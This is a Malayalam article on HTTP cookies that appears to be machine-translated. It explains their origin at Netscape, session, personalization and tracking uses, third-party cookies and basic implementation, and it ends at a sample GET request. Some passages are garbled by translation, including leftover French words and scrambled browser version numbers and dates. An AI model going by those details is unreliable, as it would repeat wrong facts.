ഇന്റർനെറ്റ് കുക്കി: അതെന്താണ്? നിർവ്വചനം, ഉത്ഭവം, തരങ്ങൾ, സ്വകാര്യത

Un കുക്കി അല്ലെങ്കിൽ വെബ് കുക്കി (അല്ലെങ്കിൽ കുക്കി, എന്ന് ചുരുക്കിയിരിക്കുന്നു സാക്ഷി ക്യൂബെക്കിൽ) HTTP കമ്മ്യൂണിക്കേഷൻ പ്രോട്ടോക്കോൾ ഒരു HTTP സെർവർ ഒരു HTTP ക്ലയന്റിലേക്ക് അയയ്‌ക്കുന്ന വിവരങ്ങളുടെ ഒരു ശ്രേണിയായി നിർവചിച്ചിരിക്കുന്നു, അത് ഓരോ തവണയും ഒരേ HTTP സെർവറിനെ ചില നിബന്ധനകൾക്ക് വിധേയമാക്കുമ്പോൾ തിരികെ നൽകുന്നു.

കുക്കി എന്നത് a എന്നതിന് തുല്യമാണ് ടെർമിനലിൽ സംഭരിച്ചിരിക്കുന്ന ചെറിയ ടെക്സ്റ്റ് ഫയൽ ഇന്റർനെറ്റ് ഉപയോക്താവിന്റെ. 20 വർഷത്തിലേറെയായി നിലനിൽക്കുന്ന, വെബ്‌സൈറ്റ് ഡെവലപ്പർമാർക്ക് അവരുടെ നാവിഗേഷൻ സുഗമമാക്കുന്നതിനും ചില പ്രവർത്തനങ്ങൾ അനുവദിക്കുന്നതിനുമായി ഉപയോക്തൃ ഡാറ്റ സംഭരിക്കുന്നതിന് അവ അനുവദിക്കുന്നു. കുക്കികൾ എല്ലായ്പ്പോഴും ഏറെക്കുറെ വിവാദപരമാണ്, കാരണം അവയിൽ മൂന്നാം കക്ഷികൾക്ക് ചൂഷണം ചെയ്യപ്പെടാൻ സാധ്യതയുള്ള വ്യക്തിഗത വിവരങ്ങൾ അടങ്ങിയിരിക്കുന്നു.

വെബ് ബ്രൗസറിലേക്ക് വെബ് സെർവർ ഒരു എച്ച്ടിടിപി ഹെഡറായി ഇത് അയയ്‌ക്കുന്നു, അത് സെർവറിലേക്ക് ആക്‌സസ്സുചെയ്യുമ്പോഴെല്ലാം അത് മാറ്റമില്ലാതെ നൽകുന്നു. ഒരു കുക്കി ഉപയോഗിക്കാം ഒരു ആധികാരികത, ഒരു സെഷൻ (സംസ്ഥാന പരിപാലനം), കൂടാതെ ഉപയോക്താവിനെക്കുറിച്ചുള്ള പ്രത്യേക വിവരങ്ങൾ സംഭരിക്കുക, സൈറ്റ് മുൻഗണനകൾ അല്ലെങ്കിൽ ഒരു ഇലക്ട്രോണിക് ഷോപ്പിംഗ് കാർട്ടിലെ ഉള്ളടക്കങ്ങൾ പോലെ. കുക്കി എന്ന പദം ഉരുത്തിരിഞ്ഞതാണ് മാജിക് കുക്കി, UNIX കംപ്യൂട്ടിംഗിലെ അറിയപ്പെടുന്ന ഒരു ആശയം, ബ്രൗസർ കുക്കികളുടെ ആശയത്തിനും പേരിനും പ്രചോദനം നൽകി. കുക്കികൾക്ക് ചില ബദലുകൾ നിലവിലുണ്ട്, ഓരോന്നിനും അതിന്റേതായ ഉപയോഗങ്ങളും ഗുണങ്ങളും ദോഷങ്ങളുമുണ്ട്.

ലളിതമായ ടെക്സ്റ്റ് ഫയലുകൾ ആയതിനാൽ, കുക്കികൾ എക്സിക്യൂട്ടബിൾ അല്ല. അവരല്ല സ്പൈവെയറോ വൈറസുകളോ അല്ല, ചില സൈറ്റുകളിൽ നിന്നുള്ള കുക്കികൾ പല ആൻറി-വൈറസ് സോഫ്‌റ്റ്‌വെയറുകളാലും കണ്ടെത്താമെങ്കിലും, അവർ ഒന്നിലധികം സൈറ്റുകൾ സന്ദർശിക്കുമ്പോൾ ഉപയോക്താക്കളെ ട്രാക്ക് ചെയ്യാൻ അനുവദിക്കുന്നതിനാൽ. 

മിക്ക ആധുനിക ബ്രൗസറുകളും ഉപയോക്താക്കളെ അനുവദിക്കുന്നു കുക്കികൾ സ്വീകരിക്കണോ വേണ്ടയോ എന്ന് തീരുമാനിക്കുക. ഉപയോക്താക്കൾക്കും കഴിയും കുക്കികൾ എത്രത്തോളം സൂക്ഷിക്കണമെന്ന് തിരഞ്ഞെടുക്കുക. എന്നിരുന്നാലും, കുക്കികൾ പൂർണ്ണമായി നിരസിക്കുന്നത് ചില സൈറ്റുകളെ ഉപയോഗശൂന്യമാക്കുന്നു. ഉദാഹരണത്തിന്, ക്രെഡൻഷ്യലുകൾ (ഉപയോക്തൃനാമവും പാസ്‌വേഡും) ഉപയോഗിച്ച് ലോഗിൻ ചെയ്യേണ്ട ഷോപ്പിംഗ് കാർട്ടുകളോ സൈറ്റുകളോ സംഭരിക്കുക.

ചരിത്രപരമായ

പദം കുക്കി ഇംഗ്ലീഷ് പദത്തിൽ നിന്ന് ഉരുത്തിരിഞ്ഞത് മാജിക് കുക്കി, ഇത് ഒരു പ്രോഗ്രാമിന് ലഭിക്കുകയും മാറ്റമില്ലാതെ തിരികെ നൽകുകയും ചെയ്യുന്ന ഡാറ്റയുടെ ഒരു പാക്കറ്റാണ്. കുക്കികൾ ഇതിനകം തന്നെ ഐടിയിൽ ഉപയോഗിച്ചിരുന്നു ലൂ മോണ്ടുള്ളി വെബ് കമ്മ്യൂണിക്കേഷനിൽ അവ ഉപയോഗിക്കാനുള്ള ആശയം ഉണ്ടായിരുന്നു ജൂൺ 1994 ൽ. അക്കാലത്ത്, ഒരു ക്ലയന്റിനായി ഒരു ഇ-കൊമേഴ്‌സ് ആപ്ലിക്കേഷൻ വികസിപ്പിച്ചെടുത്ത നെറ്റ്‌സ്‌കേപ്പ് കമ്മ്യൂണിക്കേഷൻസിൽ അദ്ദേഹം ജോലി ചെയ്തിരുന്നു. ഒരു സ്റ്റോറിന്റെ വെർച്വൽ ഷോപ്പിംഗ് കാർട്ട് നടപ്പിലാക്കുന്നതിന്റെ വിശ്വാസ്യതയുടെ പ്രശ്നത്തിന് കുക്കികൾ ഒരു പരിഹാരം നൽകി.

അതേ വർഷം തന്നെ നെറ്റ്‌സ്‌കേപ്പിന്റെ ആദ്യത്തെ കുക്കി സ്‌പെസിഫിക്കേഷൻ ജോൺ ജിയാനൻഡ്രിയയും ലൂ മോണ്ടൂള്ളിയും എഴുതി. മൊസൈക് നെറ്റ്‌സ്‌കേപ്പിന്റെ 0.9 ബീറ്റ പതിപ്പ്, 13 ഒക്ടോബർ 1994-ന് പുറത്തിറങ്ങി, സംയോജിപ്പിച്ചു കുക്കി സാങ്കേതികവിദ്യ (പോസ്റ്റ് കാണുക). നെറ്റ്‌സ്‌കേപ്പ് വെബ്‌സൈറ്റിലേക്കുള്ള സന്ദർശകർ മുമ്പ് സൈറ്റ് സന്ദർശിച്ചിട്ടുണ്ടോ എന്ന് നിർണ്ണയിക്കുക എന്നതായിരുന്നു കുക്കികളുടെ ആദ്യ (പരീക്ഷണേതര) ഉപയോഗം. 1995-ൽ മോണ്ടൂള്ളി കുക്കി സാങ്കേതികവിദ്യയ്ക്കായി ഒരു പേറ്റന്റ് അപേക്ഷ സമർപ്പിച്ചു, കൂടാതെ യുഎസ് പേറ്റന്റ് 5774670 അനുവദിച്ചു. 1998-ൽ അനുവദിച്ചു.

0.9-ൽ നെറ്റ്‌സ്‌കേപ്പ് 1994 ബീറ്റയിൽ നടപ്പിലാക്കിയ ശേഷം, കുക്കികൾ 2 ഒക്ടോബറിൽ പുറത്തിറങ്ങിയ Internet Explorer 1995-ലേക്ക് സംയോജിപ്പിച്ചു.

കുക്കികളുടെ ആമുഖം ഇതുവരെ പൊതുജനങ്ങൾക്ക് വ്യാപകമായി അറിയപ്പെട്ടിട്ടില്ല. പ്രത്യേകിച്ചും, ബ്രൗസർ ക്രമീകരണങ്ങളിൽ കുക്കികൾ സ്ഥിരസ്ഥിതിയായി സ്വീകരിച്ചു, കൂടാതെ ഉപയോക്താക്കളെ അവരുടെ സാന്നിധ്യത്തെക്കുറിച്ച് അറിയിച്ചിരുന്നില്ല. 1995-ന്റെ ആദ്യ പാദത്തിൽ കുക്കികളുടെ അസ്തിത്വത്തെക്കുറിച്ച് ചില ആളുകൾക്ക് അറിയാമായിരുന്നു, എന്നാൽ 12 ഫെബ്രുവരി 1996-ന് ഫിനാൻഷ്യൽ ടൈംസ് ഒരു ലേഖനം പ്രസിദ്ധീകരിച്ചതിന് ശേഷം മാത്രമാണ് പൊതുജനങ്ങൾ അവയുടെ അസ്തിത്വം സ്വീകരിച്ചത്. അതേ വർഷം തന്നെ, കുക്കികൾക്ക് ധാരാളം മാധ്യമ ശ്രദ്ധ ലഭിച്ചു. സാധ്യമായ സ്വകാര്യത കടന്നുകയറ്റങ്ങൾ കാരണം. 1996 ലും 1997 ലും അമേരിക്കൻ ഫെഡറൽ ട്രേഡ് കമ്മീഷന്റെ രണ്ട് കൺസൾട്ടേഷനുകളിൽ കുക്കികളുടെ വിഷയം ചർച്ച ചെയ്യപ്പെട്ടു.

ഔദ്യോഗിക കുക്കി സ്പെസിഫിക്കേഷന്റെ വികസനം ഇതിനകം നടന്നുകൊണ്ടിരിക്കുകയാണ്. ഔദ്യോഗിക സ്പെസിഫിക്കേഷന്റെ ആദ്യ ചർച്ചകൾ 1995 ഏപ്രിലിൽ www-talk മെയിലിംഗ് ലിസ്റ്റിൽ നടന്നു. ഒരു പ്രത്യേക ഐഇടിഎഫ് വർക്കിംഗ് ഗ്രൂപ്പ് രൂപീകരിച്ചു. എച്ച്ടിടിപി ഇടപാടുകളിലേക്ക് സംസ്ഥാനം അവതരിപ്പിക്കുന്നതിനുള്ള രണ്ട് ബദൽ നിർദ്ദേശങ്ങൾ യഥാക്രമം ബ്രയാൻ ബെഹ്ലെൻഡോർഫ്, ഡേവിഡ് ക്രിസ്റ്റോൾ എന്നിവർ നിർദ്ദേശിച്ചു, എന്നാൽ ക്രിസ്റ്റോളിന്റെ നേതൃത്വത്തിലുള്ള ഗ്രൂപ്പ് നെറ്റ്‌സ്‌കേപ്പിന്റെ സ്പെസിഫിക്കേഷൻ ഒരു ആരംഭ പോയിന്റായി ഉപയോഗിക്കാൻ തീരുമാനിച്ചു. 1996 ഫെബ്രുവരിയിൽ, മൂന്നാം കക്ഷി കുക്കികൾ സ്വകാര്യതയ്ക്ക് വലിയ ഭീഷണിയാണെന്ന് വർക്കിംഗ് ഗ്രൂപ്പ് നിർണ്ണയിച്ചു. ഗ്രൂപ്പ് നിർമ്മിച്ച സ്പെസിഫിക്കേഷൻ ഒടുവിൽ ഇങ്ങനെ പ്രസിദ്ധീകരിച്ചു RFC 2109.

2014 അവസാനം മുതൽ, പല സൈറ്റുകളിലും കുക്കികളെക്കുറിച്ചുള്ള ഒരു ബാനർ ഞങ്ങൾ കാണുന്നു. അനുവദിക്കുന്ന ഒരു ബ്രൗസർ വിപുലീകരണമെങ്കിലും ഉണ്ട് ബാനർ പ്രദർശിപ്പിച്ചിട്ടില്ല.

കുക്കികളുടെ തരങ്ങളും ഉപയോഗങ്ങളും

സെഷൻ മാനേജ്മെന്റ്

നാവിഗേഷൻ സമയത്ത് ഉപയോക്തൃ ഡാറ്റ നിലനിർത്താൻ കുക്കികൾ ഉപയോഗിക്കാം, മാത്രമല്ല ഒന്നിലധികം സന്ദർശനങ്ങളിലും. ഇലക്ട്രോണിക് ഷോപ്പിംഗ് കാർട്ടുകൾ നടപ്പിലാക്കുന്നതിനുള്ള ഒരു ഉപാധി ലഭ്യമാക്കുന്നതിനാണ് കുക്കികൾ അവതരിപ്പിച്ചത്, ഒരു വെർച്വൽ ഉപകരണം, അതിൽ ഉപയോക്താവിന് സൈറ്റ് ബ്രൗസ് ചെയ്യുമ്പോൾ വാങ്ങാൻ ആഗ്രഹിക്കുന്ന ഇനങ്ങൾ ശേഖരിക്കാനാകും.

ഈ ദിവസങ്ങളിൽ, ഷോപ്പിംഗ് കാർട്ടുകൾ പോലെയുള്ള ആപ്പുകൾ പകരം ഇനങ്ങളുടെ ലിസ്റ്റ് ഒരു സെർവറിൽ ഒരു ഡാറ്റാബേസിൽ സംഭരിക്കുന്നു, അത് അഭികാമ്യമാണ്; അവയെ കുക്കിയിൽ തന്നെ സംരക്ഷിക്കുന്നതിനേക്കാൾ. വെബ് സെർവർ ഒരു അദ്വിതീയ സെഷൻ ഐഡി അടങ്ങിയ ഒരു കുക്കി അയയ്ക്കുന്നു. വെബ് ബ്രൗസർ പിന്നീട് ഓരോ തുടർന്നുള്ള അഭ്യർത്ഥനയിലും ഈ സെഷൻ ഐഡി തിരികെ നൽകുന്നു, കൂടാതെ ബാസ്‌ക്കറ്റിലെ ഇനങ്ങൾ സംരക്ഷിക്കുകയും ഇതേ അദ്വിതീയ സെഷൻ ഐഡിയുമായി ബന്ധപ്പെടുത്തുകയും ചെയ്യുന്നു.

ക്രെഡൻഷ്യലുകൾ ഉപയോഗിച്ച് ഒരു സൈറ്റിലേക്ക് ലോഗിൻ ചെയ്യുന്നതിന് കുക്കികളുടെ പതിവ് ഉപയോഗം ഉപയോഗപ്രദമാണ്. ചുരുക്കത്തിൽ, വെബ് സെർവർ ആദ്യം ഒരു അദ്വിതീയ സെഷൻ ഐഡി അടങ്ങിയ ഒരു കുക്കി അയയ്ക്കുന്നു. തുടർന്ന് ഉപയോക്താക്കൾ അവരുടെ ക്രെഡൻഷ്യലുകൾ നൽകുന്നു (സാധാരണയായി ഒരു ഉപയോക്തൃനാമവും പാസ്‌വേഡും). വെബ് ആപ്ലിക്കേഷൻ സെഷനെ പ്രാമാണീകരിക്കുകയും സേവനം ആക്സസ് ചെയ്യാൻ ഉപയോക്താവിനെ അനുവദിക്കുകയും ചെയ്യുന്നു.

വ്യക്തിഗതമാക്കൽ

ഭാവിയിൽ ഉചിതമായ ഉള്ളടക്കം കാണിക്കുന്നതിന്, ഒരു സൈറ്റിന്റെ ഉപയോക്താവിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ ഓർമ്മിക്കാൻ കുക്കികൾ ഉപയോഗിക്കാം. ഉദാഹരണത്തിന്, ഒരു വെബ് സെർവറിന് ആ വെബ്‌സൈറ്റിലേക്ക് ലോഗിൻ ചെയ്യാൻ ഉപയോഗിച്ച അവസാന ഉപയോക്തൃനാമം അടങ്ങിയ ഒരു കുക്കി അയയ്‌ക്കാൻ കഴിയും, അതുവഴി ഭാവി സന്ദർശനങ്ങളിൽ ഉപയോക്തൃനാമം പ്രീ-പോപ്പുലേറ്റ് ചെയ്യാൻ കഴിയും.

പല വെബ്‌സൈറ്റുകളും ഉപയോക്തൃ മുൻഗണനകളെ അടിസ്ഥാനമാക്കി വ്യക്തിഗതമാക്കലിനായി കുക്കികൾ ഉപയോഗിക്കുന്നു. ഉപയോക്താക്കൾ അവരുടെ മുൻഗണനകൾ ഒരു ഫോമിൽ തിരഞ്ഞെടുത്ത് സെർവറിലേക്ക് സമർപ്പിക്കുക. സെർവർ ഒരു കുക്കിയിലെ മുൻഗണനകൾ എൻകോഡ് ചെയ്യുകയും ബ്രൗസറിലേക്ക് തിരികെ അയയ്ക്കുകയും ചെയ്യുന്നു. തുടർന്ന്, ഓരോ തവണയും ഉപയോക്താവ് ഈ സൈറ്റിന്റെ ഒരു പേജ് ആക്സസ് ചെയ്യുമ്പോൾ, ബ്രൗസർ കുക്കിയും അതിനാൽ മുൻഗണനകളുടെ പട്ടികയും നൽകുന്നു; സെർവറിന് ഉപയോക്താവിന്റെ മുൻഗണനകൾക്കനുസരിച്ച് പേജ് ഇഷ്ടാനുസൃതമാക്കാൻ കഴിയും. ഉദാഹരണത്തിന്, വിക്കിപീഡിയ വെബ്സൈറ്റ് അതിന്റെ ഉപയോക്താക്കൾക്ക് അവർ ഇഷ്ടപ്പെടുന്ന സൈറ്റിന്റെ തൊലി തിരഞ്ഞെടുക്കാൻ അനുവദിക്കുന്നു. ഗൂഗിൾ സെർച്ച് എഞ്ചിൻ അതിന്റെ ഉപയോക്താക്കളെ (അവർ രജിസ്റ്റർ ചെയ്തിട്ടില്ലെങ്കിലും) ഓരോ ഫല പേജിലും കാണാൻ ആഗ്രഹിക്കുന്ന ഫലങ്ങളുടെ എണ്ണം തിരഞ്ഞെടുക്കാൻ അനുവദിക്കുന്നു.

ട്രാക്കിംഗ്

ഇന്റർനെറ്റ് ഉപയോക്താക്കളുടെ ബ്രൗസിംഗ് ശീലങ്ങൾ ട്രാക്കുചെയ്യുന്നതിന് ട്രാക്കിംഗ് കുക്കികൾ ഉപയോഗിക്കുന്നു. ഒരു പേജിനായി ഒരു അഭ്യർത്ഥന നടത്തുന്ന കമ്പ്യൂട്ടറിന്റെ IP വിലാസം ഉപയോഗിച്ചോ അല്ലെങ്കിൽ എല്ലാ അഭ്യർത്ഥനയ്‌ക്കൊപ്പവും ക്ലയന്റ് അയയ്‌ക്കുന്ന 'റഫറർ' HTTP ഹെഡർ ഉപയോഗിച്ചോ ഇത് ഭാഗികമായി ചെയ്യാവുന്നതാണ്, എന്നാൽ കുക്കികൾ കൂടുതൽ കൃത്യത അനുവദിക്കുന്നു. ഇനിപ്പറയുന്ന ഉദാഹരണത്തിലെന്നപോലെ ഇത് ചെയ്യാൻ കഴിയും:

1. ഉപയോക്താവ് ഒരു സൈറ്റിൽ ഒരു പേജ് വിളിക്കുകയും അഭ്യർത്ഥനയിൽ ഒരു കുക്കി ഇല്ലെങ്കിൽ, ഉപയോക്താവ് സന്ദർശിക്കുന്ന ആദ്യ പേജ് ഇതാണ് എന്ന് സെർവർ അനുമാനിക്കുന്നു. സെർവർ പിന്നീട് ഒരു റാൻഡം സ്ട്രിംഗ് സൃഷ്ടിക്കുകയും അഭ്യർത്ഥിച്ച പേജിനൊപ്പം ബ്രൗസറിലേക്ക് അയയ്ക്കുകയും ചെയ്യുന്നു.
2. ഈ നിമിഷം മുതൽ, ഓരോ തവണയും സൈറ്റിന്റെ ഒരു പുതിയ പേജ് വിളിക്കുമ്പോൾ കുക്കി സ്വയമേവ ബ്രൗസർ അയയ്ക്കും. സെർവർ പതിവുപോലെ പേജ് അയയ്‌ക്കും, എന്നാൽ വിളിക്കുന്ന പേജിന്റെ URL, അഭ്യർത്ഥനയുടെ തീയതി, സമയം, ഒരു ലോഗ് ഫയലിൽ കുക്കി എന്നിവയും ലോഗ് ചെയ്യും.

ലോഗ് ഫയൽ നോക്കുന്നതിലൂടെ, ഉപയോക്താവ് ഏത് പേജാണ് സന്ദർശിച്ചതെന്നും ഏത് ക്രമത്തിലാണെന്നും കാണാൻ കഴിയും. ഉദാഹരണത്തിന്, ഫയലിൽ id=abc കുക്കി ഉപയോഗിച്ചുള്ള കുറച്ച് അഭ്യർത്ഥനകൾ ഉണ്ടെങ്കിൽ, ഈ അഭ്യർത്ഥനകളെല്ലാം ഒരേ ഉപയോക്താവിൽ നിന്നാണ് വരുന്നതെന്ന് ഇത് സ്ഥാപിച്ചേക്കാം. അഭ്യർത്ഥിച്ച URL, അഭ്യർത്ഥനകളുമായി ബന്ധപ്പെട്ട തീയതിയും സമയവും ഉപയോക്താവിന്റെ ബ്രൗസിംഗ് ട്രാക്ക് ചെയ്യാൻ അനുവദിക്കുന്നു.

ചുവടെ വിശദീകരിച്ചിരിക്കുന്ന മൂന്നാം കക്ഷി കുക്കികളും വെബ് ബീക്കണുകളും, വ്യത്യസ്‌ത സൈറ്റുകളിലുടനീളം ട്രാക്കിംഗ് പ്രവർത്തനക്ഷമമാക്കുന്നു. ഒറ്റ സൈറ്റ് ട്രാക്കിംഗ് സാധാരണയായി സ്ഥിതിവിവരക്കണക്കുകൾക്കായി ഉപയോഗിക്കുന്നു. ഇതിനു വിപരീതമായി, മൂന്നാം കക്ഷി കുക്കികൾ ഉപയോഗിച്ച് വിവിധ സൈറ്റുകളിലുടനീളം ട്രാക്കുചെയ്യുന്നത് പരസ്യ കമ്പനികൾ സാധാരണയായി അജ്ഞാത ഉപയോക്തൃ പ്രൊഫൈലുകൾ നിർമ്മിക്കാൻ ഉപയോഗിക്കുന്നു (ഏതൊക്കെ പരസ്യങ്ങളാണ് ഉപയോക്താവിന് കാണിക്കേണ്ടതെന്ന് നിർണ്ണയിക്കാനും ഈ പരസ്യങ്ങൾക്ക് അനുയോജ്യമായ ഇമെയിലുകൾ അയയ്‌ക്കാനും അവ ഉപയോഗിക്കുന്നു - SPAM. ).

ട്രാക്കിംഗ് കുക്കികൾ ഉപയോക്തൃ സ്വകാര്യതയിലേക്ക് കടന്നുകയറാനുള്ള സാധ്യതയാണ്, പക്ഷേ അവ എളുപ്പത്തിൽ ഇല്ലാതാക്കാൻ കഴിയും. മിക്ക ആധുനിക ബ്രൗസറുകളിലും ആപ്ലിക്കേഷൻ അടയ്‌ക്കുമ്പോൾ സ്ഥിരമായ കുക്കികൾ സ്വയമേവ ഇല്ലാതാക്കാനുള്ള ഒരു ഓപ്ഷൻ ഉൾപ്പെടുന്നു.

മൂന്നാം കക്ഷി കുക്കികൾ

ഒരു വെബ് പേജിൽ അടങ്ങിയിരിക്കുന്ന ചിത്രങ്ങളും മറ്റ് ഒബ്‌ജക്‌റ്റുകളും പേജ് ഹോസ്റ്റുചെയ്യുന്നതിൽ നിന്ന് വ്യത്യസ്തമായ സെർവറുകളിൽ വസിക്കാം. പേജ് പ്രദർശിപ്പിക്കുന്നതിന്, ബ്രൗസർ ഈ വസ്തുക്കളെല്ലാം ഡൗൺലോഡ് ചെയ്യുന്നു. മിക്ക വെബ്‌സൈറ്റുകളിലും വ്യത്യസ്ത ഉറവിടങ്ങളിൽ നിന്നുള്ള വിവരങ്ങൾ അടങ്ങിയിരിക്കുന്നു. ഉദാഹരണത്തിന്, നിങ്ങൾ www.example.com എന്ന് നിങ്ങളുടെ ബ്രൗസറിൽ ടൈപ്പുചെയ്യുകയാണെങ്കിൽ, പേജിന്റെ ഒരു ഭാഗത്ത് പലപ്പോഴും വ്യത്യസ്‌ത ഉറവിടങ്ങളിൽ നിന്ന് വരുന്ന ഒബ്‌ജക്റ്റുകളോ പരസ്യങ്ങളോ ഉണ്ടാകും, അതായത് www. .example.com എന്നതിനേക്കാൾ മറ്റൊരു ഡൊമെയ്‌നിൽ നിന്ന്. ബ്രൗസറിന്റെ വിലാസ ബാറിൽ ലിസ്‌റ്റ് ചെയ്‌തിരിക്കുന്ന ഡൊമെയ്‌ൻ പ്രകാരം സജ്ജീകരിച്ചിരിക്കുന്ന കുക്കികളാണ് "ഫസ്റ്റ്" പാർട്ടി കുക്കികൾ. മറ്റൊരു ഡൊമെയ്‌നിൽ നിന്ന് വരുന്ന പേജ് ഒബ്‌ജക്‌റ്റുകളിലൊന്നാണ് മൂന്നാം കക്ഷി കുക്കികൾ സജ്ജീകരിച്ചിരിക്കുന്നത്.

സ്ഥിരസ്ഥിതിയായി, Mozilla Firefox, Microsoft Internet Explorer, Opera തുടങ്ങിയ ബ്രൗസറുകൾ മൂന്നാം കക്ഷി കുക്കികൾ സ്വീകരിക്കുന്നു, എന്നാൽ ഉപയോക്താക്കൾക്ക് അവയെ തടയുന്നതിന് ബ്രൗസർ ഓപ്ഷനുകളിലെ ക്രമീകരണങ്ങൾ മാറ്റാനാകും. വെബ് പ്രവർത്തനം പ്രവർത്തനക്ഷമമാക്കുന്ന മൂന്നാം കക്ഷി കുക്കികളിൽ അന്തർലീനമായ സുരക്ഷാ അപകടങ്ങളൊന്നുമില്ല, എന്നിരുന്നാലും അവ ഉപയോക്താക്കളെ ട്രാക്കുചെയ്യാനും ഉപയോഗിക്കുന്നു. സൈറ്റിൽ നിന്ന് സൈറ്റിലേക്ക്.

ഗൂഗിൾ ക്രോം ഉൾപ്പെടെ എല്ലാ ബ്രൗസറുകൾക്കും ലഭ്യമായ ഗോസ്റ്ററി പോലുള്ള ടൂളുകൾക്ക് മൂന്നാം കക്ഷികൾ തമ്മിലുള്ള കൈമാറ്റം തടയാൻ കഴിയും.

നടപ്പിലാക്കൽ

ബ്രൗസറിലേക്ക് വെബ് സെർവർ അയയ്‌ക്കുന്ന ചെറിയ ഡാറ്റയാണ് കുക്കികൾ. ബ്രൗസർ അവയെ മാറ്റമില്ലാതെ സെർവറിലേക്ക് തിരികെ നൽകുന്നു, അല്ലാത്തപക്ഷം സ്റ്റേറ്റില്ലാത്ത HTTP ഇടപാടിലേക്ക് അവസ്ഥ (മുൻകാല സംഭവങ്ങളുടെ ഓർമ്മ) അവതരിപ്പിക്കുന്നു. കുക്കികളില്ലാതെ, ഒരു വെബ് പേജിന്റെയോ വെബ് പേജിന്റെ ഒരു ഘടകത്തിന്റെയോ ഓരോ വീണ്ടെടുക്കലും ഒരേ സൈറ്റിലേക്ക് നടത്തിയ മറ്റ് അഭ്യർത്ഥനകളിൽ നിന്ന് സ്വതന്ത്രമായ ഒരു ഒറ്റപ്പെട്ട ഇവന്റാണ്. വെബ് സെർവർ സജ്ജീകരിക്കുന്നതിന് പുറമേ, ബ്രൗസർ പിന്തുണയ്‌ക്കുകയും അംഗീകരിക്കുകയും ചെയ്‌താൽ, ജാവാസ്ക്രിപ്റ്റ് പോലുള്ള സ്‌ക്രിപ്റ്റിംഗ് ഭാഷകൾ വഴിയും കുക്കികൾ സജ്ജമാക്കാൻ കഴിയും.

ചുരുങ്ങിയ എണ്ണം കുക്കികൾ സംരക്ഷിക്കാനും വീണ്ടും അയയ്‌ക്കാനും ബ്രൗസറുകൾക്ക് കഴിയണമെന്ന് ഔദ്യോഗിക കുക്കി സ്പെസിഫിക്കേഷൻ സൂചിപ്പിക്കുന്നു. പ്രത്യേകമായി, ഒരു ബ്രൗസറിന് നാല് കിലോബൈറ്റ് വീതമുള്ള 300 കുക്കികളെങ്കിലും ഒരു സെർവറിനോ ഡൊമെയ്‌നിനോ വേണ്ടി കുറഞ്ഞത് 20 കുക്കികളെങ്കിലും സംഭരിക്കാൻ കഴിയണം.

സെക്ഷൻ 3.1 പ്രകാരം RFC 2965, കുക്കി പേരുകൾ കേസ്-ഇൻസെൻസിറ്റീവ് ആണ്.

ഒരു കുക്കിക്ക് അതിന്റെ കാലഹരണപ്പെടുന്ന തീയതി വ്യക്തമാക്കാൻ കഴിയും, ഈ സാഹചര്യത്തിൽ ഈ തീയതിയിൽ കുക്കി ഇല്ലാതാക്കപ്പെടും. കുക്കി ഒരു കാലഹരണ തീയതി വ്യക്തമാക്കിയിട്ടില്ലെങ്കിൽ, ഉപയോക്താവ് ബ്രൗസറിൽ നിന്ന് പുറത്തുകടന്ന ഉടൻ തന്നെ കുക്കി ഇല്ലാതാക്കപ്പെടും. അതിനാൽ, കാലഹരണപ്പെടൽ തീയതി വ്യക്തമാക്കുന്നത് ഒന്നിലധികം സെഷനുകളിലൂടെ കുക്കിയെ അതിജീവിക്കാനുള്ള ഒരു മാർഗമാണ്. ഇക്കാരണത്താൽ, കാലഹരണപ്പെടൽ തീയതിയുള്ള കുക്കികൾ പറയപ്പെടുന്നു നിര്ബന്ധശീലമായ. ഒരു ഉദാഹരണം ആപ്ലിക്കേഷൻ: ഉപയോക്താക്കൾ അവരുടെ ഷോപ്പിംഗ് കാർട്ടിൽ സ്ഥാപിച്ചിട്ടുള്ള ഇനങ്ങൾ രേഖപ്പെടുത്താൻ ഒരു റീട്ടെയിൽ സൈറ്റ് സ്ഥിരമായ കുക്കികൾ ഉപയോഗിച്ചേക്കാം (യഥാർത്ഥത്തിൽ, കുക്കി നിങ്ങളുടെ കമ്പ്യൂട്ടറിൽ അല്ല, വിൽപ്പന സൈറ്റിലെ ഒരു ഡാറ്റാബേസിൽ സംരക്ഷിച്ചിരിക്കുന്ന ഒരു എൻട്രിയെ പരാമർശിച്ചേക്കാം) . ഇതിലൂടെ, ഉപയോക്താക്കൾ അവരുടെ ബ്രൗസർ വാങ്ങാതെ ഉപേക്ഷിച്ച് പിന്നീട് അതിലേക്ക് മടങ്ങുകയാണെങ്കിൽ, അവർക്ക് കാർട്ടിലെ ഇനങ്ങൾ വീണ്ടും കണ്ടെത്താൻ കഴിയും. ഈ കുക്കികൾ കാലഹരണപ്പെടൽ തീയതി നൽകിയില്ലെങ്കിൽ, ബ്രൗസർ അടയ്‌ക്കുമ്പോൾ അവ കാലഹരണപ്പെടും, കൂടാതെ ബാസ്‌ക്കറ്റിലെ ഉള്ളടക്കത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ നഷ്‌ടപ്പെടുകയും ചെയ്യും.

കുക്കികൾ സൃഷ്‌ടിച്ച സെർവറിലെ ഒരു നിർദ്ദിഷ്‌ട ഡൊമെയ്‌നിലോ സബ്‌ഡൊമെയ്‌നിലോ പാതയിലോ പരിധിയിൽ പരിമിതപ്പെടുത്താം.

ഒരു കുക്കിയുടെ സൃഷ്ടി

ഹൈപ്പർടെക്സ്റ്റ് ട്രാൻസ്ഫർ പ്രോട്ടോക്കോൾ (HTTP) ഉപയോഗിച്ചാണ് വെബ് പേജുകളുടെ കൈമാറ്റം ചെയ്യുന്നത്. കുക്കികളെ അവഗണിക്കുന്നതിലൂടെ, ബ്രൗസറുകൾ വെബ് സെർവറുകളിൽ നിന്ന് ഒരു പേജിനെ വിളിക്കുന്നത് അവർക്ക് പൊതുവായി വിളിക്കപ്പെടുന്ന ഒരു ചെറിയ വാചകം അയച്ചുകൊണ്ടാണ് HTTP അഭ്യർത്ഥന. ഉദാഹരണത്തിന്, www.example.org/index.html എന്ന പേജ് ആക്‌സസ് ചെയ്യുന്നതിന്, ബ്രൗസറുകൾ www.example.org എന്ന സെർവറിലേക്ക് കണക്‌റ്റ് ചെയ്‌ത് ഇതുപോലെയുള്ള ഒരു അഭ്യർത്ഥന അയയ്‌ക്കുക:

	GET /index.html HTTP/1.1Host: www.example.org
നാവിഗേറ്റർ	→	സെർവർ

